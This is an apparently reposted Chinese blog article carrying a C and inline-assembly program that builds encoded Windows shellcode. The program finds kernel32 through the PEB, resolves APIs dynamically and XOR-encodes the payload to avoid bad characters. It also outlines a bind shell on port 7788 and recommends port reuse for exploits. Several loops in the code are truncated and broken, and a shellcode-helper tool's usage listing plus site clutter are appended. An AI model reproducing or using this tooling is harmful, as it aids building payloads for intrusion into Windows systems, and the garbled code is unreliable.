查看完整版本: 使用C语言编写提取通用shellcode的程序

导读:
   使用C语言编写提取通用shellcode的程序文章修改:Hume/冷雨飘心
  文章注释:我非我[F.S.T]
  信息来源:黑客基地
  [code]/*
  说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode
  用vc编译时请使用Release格式并取消优化设置,否则不能正常运行
  */
  #include
  #include
  #include
  #define DEBUG 1 //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode
  //
  //函数原型
  //
  void DecryptSc(); //shellcode解码函数,使用的是xor法加微调法
  void ShellCodes(); //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀
  void PrintSc(char *lpBuff, int buffsize); //PrintSc函数用标准c格式打印
  //
  //用到的部分定义
  //
  #define BEGINSTRLEN 0x08 //开始字符串长度
  #define ENDSTRLEN 0x08 //结束标记字符的长度
  #define nop_CODE 0x90 //填充字符,用于不确定shellcode入口用
  #define nop_LEN 0x0 //ShellCode起始的填充长度,真正shellcode的入口
  #define BUFFSIZE 0x20000 //输出缓冲区大小
  #define sc_PORT 7788 //绑定端口号 0x1e6c
  #define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小
  #define Enc_key 0x7A //编码密钥
  #define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够?
  #define MAX_Sc_Len 0x2000 //hellCode的最大长度 8192足够?
  #define MAX_api_strlen 0x400 //APIstr字符串的长度
  #define API_endstr "strend"//API结尾标记字符串
  #define API_endstrlen 0x06 //标记字符串长度
  //定义函数开始字符,定位用
  #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90/
  __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
  #define PROC_END PROC_BEGIN
  //---------------------------------------------------
  enum{ //Kernel32中的函数名定义,用于编写自定义的shellcode。下同
  _CreatePipe,
  _CreateProcessA,
  _CloseHandle,
  _PeekNamedPipe,
  _ReadFile,
  _WriteFile,
  _ExitProcess,
  //WS2_32
  _WSAStartup,
  _WSASocket
  _socket,
  _bind,
  _listen,
  _accept,
  _send,
  _recv,
  _ioctlsocket,
  _closesocket,
  //本机测试User32
  _MessageBeep,
  _MessageBoxA,
  API_num
  };
  //
  //代码这里开始
  //
  int __cdecl main(int argc, char **argv)
  {
  //shellcode中要用到的字符串
  static char ApiStr[]="/x1e/x6c" //端口地址7788
  //Kernel32中查找的API函数名称,用来查找函数地址,下同
  "CreatePipe""/x0"
  "CreateProcessA""/x0"
  "CloseHandle""/x0"
  "PeekNamedPipe""/x0"
  "ReadFile""/x0"
  "WriteFile""/x0"
  "ExitProcess""/x0"
  //其它API中用到的API
  "wsock32.dll""/x0"
  "socket""/x0"
  "bind""/x0"
  "listen""/x0"
  "accept""/x0"
  "send""/x0"
  "recv""/x0"
  "ioctlsocket""/x0"
  "closesocket""/x0"
  //本机测试
  "user32.dll""/x0"
  "MessageBeep""/x0"
  "MessageBoxA""/x0"
  "/x0/x0/x0/x0/x0"
  "strend";
  char *fnbgn_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90"; //标记开始的字符串
  char *fnend_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90"; //标记结束的字符串
  char buff[BUFFSIZE]; //缓冲区
  char sc_buff[sc_BUFFSIZE]; //ShellCodes缓冲
  char *pDcrypt_addr,
  *pSc_addr;
  int buff_len; //缓冲长度
  int EncCode_len; //加密编码代码长度
  int Sc_len; //原始ShellCode的长度
  int i,k;
  unsigned char ch;
  //
  //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
  //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
  //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
  //
  pDcrypt_addr=(char *)DecryptSc;
  //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
  //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试
  ch=*pDcrypt_addr;
  if (ch==0xe9)
  {
  pDcrypt_addr++;
  i=*(int *)pDcrypt_addr;
  pDcrypt_addr+=(i+4); //此时指向DecryptSc函数的实际地址
  }
  //找到解码代码的开始部分
  for(k=0;k
  if (k
  else
  {
  //显示错误信息
  k=0;
  printf("/nNo Begin str defined in Decrypt function!Please Check before go on.../n");
  return 0;
  }
  for(k=0;k   if (k
  else
  {
  k=0;
  printf("/nNo End str defined in Decrypt function!Please Check..../n");
  return 0;
  }
  memset(buff,nop_CODE,BUFFSIZE); //缓冲区填充
  memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len); //把DecryptSc代码复制进buff
  //
  //处理ShellCode代码,如果需要定位到代码的开始
  //
  pSc_addr=(char *)ShellCodes; //定位shellcode的地址
  //调试状态下的函数地址处理,便于调试
  ch=*pSc_addr;
  if (ch==0xe9)
  {
  pSc_addr++;
  i=*(int *)pSc_addr;
  pSc_addr+=(i+4); //此时指向ShellCodes函数的实际地址
  }
  //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
  /*
  for (k=0;k   if (k
  */
  //找到shellcode的结尾及长度
  for(k=0;k   if (k
  else
  {
  k=0;
  printf("/nNo End str defined in ShellCodes function!Please Check..../n");
  return 0;
  }
  //把shellcode代码复制进sc_buff
  memcpy(sc_buff,pSc_addr,Sc_len);
  //把字符串拷贝在shellcode的结尾
  for(i=0;i   if(i>=MAX_api_strlen)
  {
  printf("/nNo End str defined in API strings!Please Check..../n");
  return 0;
  }
  memcpy(sc_buff+k,ApiStr,i);
  Sc_len+=i; //增加shellcode的长度
  //
  //对shellcode进行编码,算法简单,可根据需要改变
  //
  k=EncCode_len+nop_LEN; //定位缓冲区应存放ShellCode地址的开始
  for(i=0;i
  ch=sc_buff[i]^Enc_key;
  //对一些可能造成shellcode失效的字符进行替换,即微调法
  if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='//'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
  {
  buff[k]='0';
  ++k;
  ch+=0x31;
  }
  //把编码过的shellcode放在DecryptSc代码后面
  buff[k]=ch;
  ++k;
  }
  //shellcode的总长度
  buff_len=k;
  //打印出shellcode
  PrintSc(buff,buff_len);
  //buff[buff_len]=0;
  //printf("%s",buff);
  #ifdef DEBUG
  _asm{
  lea eax,buff
  jmp eax
  ret
  }
  #endif
  return 0;
  }
  //解码shellcode的代码
  void DecryptSc()
  {
  __asm{
  /
  //定义开始标志
  /
  PROC_BEGIN //C macro to begin proc
  jmp next
  getEncCodeAddr:
  pop edi
  push edi
  pop esi
  xor ecx,ecx
  Decrypt_lop:
  lodsb
  cmp al,cl
  jz shell
  cmp al,0x30 //判断是否为特殊字符
  jz special_char_clean //是则跳到special_char_clean
  store:
  xor al,Enc_key
  stosb
  jmp Decrypt_lop
  special_char_clean: //进行微调替换
  lodsb
  sub al,0x31
  jmp store
  next:
  call getEncCodeAddr
  //其余真正加密的shellcode代码会连接在此处
  shell:
  /
  //定义结束标志
  /
  PROC_END //C macro to end proc
  }
  }
  //
  //shellcode代码
  //
  void ShellCodes()
  {
  //API低址数组
  FARPROC API[API_num];
  //自己获取的API地址
  FARPROC GetProcAddr;
  FARPROC LoadLib;
  HANDLE hKrnl32;
  HANDLE libhandle;
  char *ApiStr_addr,*p;
  
  int k;
  u_short shellcodeport;
  测试用变量
  char *testAddr;
  //
  //这里是网络函数的变量定义,实际编写shellcode时可以使用。
  /*
  STARTUPINFO siinfo;
  WSADATA ws;
  SOCKET listenFD,clientFD;
  struct sockaddr_in server;
  server.sin_family = AF_INET;
  server.sin_port = htons(sc_PORT);
  server.sin_addr.s_addr=ADDR_ANY;
  int iAddrSize = sizeof(server);
  int lBytesRead;
  PROCESS_INFORMATION ProcessInformation;
  HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
  SECURITY_ATTRIBUTES sa;
  */
  _asm {
  jmp locate_addr0
  getApiStr_addr:
  pop ApiStr_addr
  //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
  //以后就可以方便地获取任何API的地址了
  //保护寄存器
  pushad
  xor esi,esi
  lods dword ptr fs:[esi]
  
  Search_Krnl32_lop: //搜索kernel32基址
  inc eax
  je Krnl32_Base_Ok
  dec eax
  xchg esi,eax
  LODSD
  jmp Search_Krnl32_lop
  Krnl32_Base_Ok:
  LODSD
  ;compare if PE_hdr
  xchg esi,eax
  find_pe_header:
  dec esi
  xor si,si ;kernel32 is 64kb align
  mov eax,[esi]
  add ax,-'ZM' ;
  jne find_pe_header
  mov edi,[esi+3ch] ;.e_lfanew
  mov eax,[esi+edi]
  add eax,-'EP' ;anti heuristic change this if you are using MASM etc.
  jne find_pe_header
  
  push esi
  ;esi=VA Kernel32.BASE
  ;edi=RVA K32.pehdr
  mov ebx,esi
  mov edi,[ebx+edi+78h] ;peh.DataDirectory
  
  push edi
  push esi
  mov eax,[ebx+edi+20h] ;peexc.AddressOfNames
  mov edx,[ebx+edi+24h] ;peexc.AddressOfNameOrdinals
  call __getProcAddr
  _emit 0x47
  _emit 0x65
  _emit 0x74
  _emit 0x50
  _emit 0x72
  _emit 0x6F
  _emit 0x63
  _emit 0x41
  _emit 0x64
  _emit 0x64
  _emit 0x72
  _emit 0x65
  _emit 0x73
  _emit 0x73
  _emit 0x0
  //db "GetProcAddress",0
  __getProcAddr:
  pop edi
  mov ecx,15
  sub eax,4
  next_:
  add eax,4
  add edi,ecx
  sub edi,15
  mov esi,[ebx+eax]
  add esi,ebx
  mov ecx,15
  repz cmpsb
  jnz next_
  pop esi
  pop edi
  sub eax,[ebx+edi+20h] ;peexc.AddressOfNames
  shr eax,1
  add edx,ebx
  movzx eax,word ptr [edx+eax]
  add esi,[ebx+edi+1ch] ;peexc.AddressOfFunctions
  add ebx,[esi+eax*4] ;ebx=Kernel32.GetProcAddress.addr
  ;用GetProcAddress和hModule来得到其他函数的地址
  pop esi ;esi=kernel32 Base
  mov [hKrnl32],esi //保存
  mov [GetProcAddr],ebx //保存
  call _getLoadLib
  _emit 0x4C
  _emit 0x6F
  _emit 0x61
  _emit 0x64
  _emit 0x4C
  _emit 0x69
  _emit 0x62
  _emit 0x72
  _emit 0x61
  _emit 0x72
  _emit 0x79
  _emit 0x41
  _emit 0x0
  //db "LoadLibraryA",0
  
  _getLoadLib:
  push esi
  call ebx
  mov [LoadLib],eax
  //恢复寄存器,避免更多问题
  popad
  }
  //取出定义的端口地址
  shellcodeport=*(u_short *)ApiStr_addr;
  ApiStr_addr+=2;
  
  //测试用地址
  testAddr=ApiStr_addr;
  
  //利用GetProcAddress来获得shellcode中所用到的API地址
  libhandle=hKrnl32;
  p=ApiStr_addr;
  k=0;
  ///*
  while ( *((unsigned int *)p) != 0)
  {
  ApiStr_addr=p;
  while(*p) p++; //前进到下一个字符串
  if (*( (unsigned int *)(p-4))=='lld.')
  {
  libhandle=(HANDLE)LoadLib(ApiStr_addr); //若为DLL则加载DLL
  }
  else
  {
  API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
  k++;
  }
  
  ApiStr_addr=++p; //更新指针前进一个字符位置
  
  }
  
  //*/
  ///
  // 下面就可以使用C语言来编写真正实现功能的shellcode了 //
  ///
  //
  //简单测试几个API看是否复合要求,只是弹出一个对话框
  //这里的函数调用是通过 API[enum](argv); 调用的。这里的enum是指开头定义的枚举
  //你可以自己替换以下的代码。推荐使用端口复用然后让你的exp主动连接。
  //
  API[_MessageBeep](0x10);
  API[_MessageBoxA](0,testAddr,0,0x40);
  API[_ExitProcess](0);
  ///
  // shellcode功能部分结束 //
  ///
  //死循环
  die:
  goto die;
  __asm
  {
  locate_addr0:
  call getApiStr_addr //5 bytes
  //真正的字符串数据要连接在此处
  
  /
  //定义结束标志
  /
  PROC_END //C macro to end proc
  
  }
  }
  //
  //显示打印生成的shellcode的标准C格式代码
  //
  void PrintSc(char *lpBuff, int buffsize)
  {
  int i,j;
  char *p;
  char msg[4];
  for(i=0;i
  {
  if((i%16)==0)
  if(i!=0)
  printf("/"/n/"");
  else
  printf("/"");
  sprintf(msg,"//x%.2X",lpBuff[i]&0xff);
  for( p = msg, j=0; j <4; p++, j++ )
  {
  if(isupper(*p))
  printf("%c", _tolower(*p));
  else
  printf("%c", p[0]);
  }
  }
  printf("/";/n/*Shell total are %d bytes *//n",buffsize);
  }[/code]

本文转自
http://bbs.syue.com/archiver/tid-12904.html
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Shellcode Helper v1.62 Coded by TeLeMan (c) 2008-2013 Usage: schelper.exe [options] Options: -i [input file] input file (Default: stdin) -o [output file] output file (Default: stdout) -s input file format (Default: Auto-Detection) -sb input file format is Binary -sp the input file format's parameters -d output file format (Default: C format) -db output file format is Binary -dp the output file format's parameters -search get the start offset by the pattern: e.g. PK\x03\x04 -soff fix the match offset after searching (Default: 0) -off convert the input file from the offset (Default: 0) -len convert the input file with the length (Default: 0 - MAX) -en [encoder] encode shellcode (Default: XorDword) -de [encoder] decode shellcode (Default: Auto-Detection) -ex exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00) -in incude characters only -ep the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for debugging -stack put shellcode into stack and execute it (ESP is the shellcode start) -noinfo display no normal messages except error messages Available formats: 0 - C 1 - C(HexArray) 2 - Perl 3 - Python 4 - Ruby 5 - JavaScript(Escape) 6 - VBScript(Escape) 7 - Pascal 8 - MASM(Data) 9 - HexDump 10 - BitString 11 - HexString 12 - HexArray(C like) 13 - Base64 14 - Binary 15 - HexString(C like) 16 - HexString(Escape) 17 - HexString(JavaScript,UNICODE) 18 - URI(ISO-8859-1) 19 - XML(PCDATA) 20 - BigNumber 21 - BigNumber(Hex) 22 - BigNumber(BaseX) 23 - FloatPoint 24 - UnixTimestamp 25 - GUID 26 - MASM(ASM) 27 - NASM 28 - YASM(ASM) 29 - FASM(ASM) 30 - JWASM(ASM) 31 - POASM(ASM) 32 - GOASM(ASM) 33 - GNU ASM Available encoders:

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值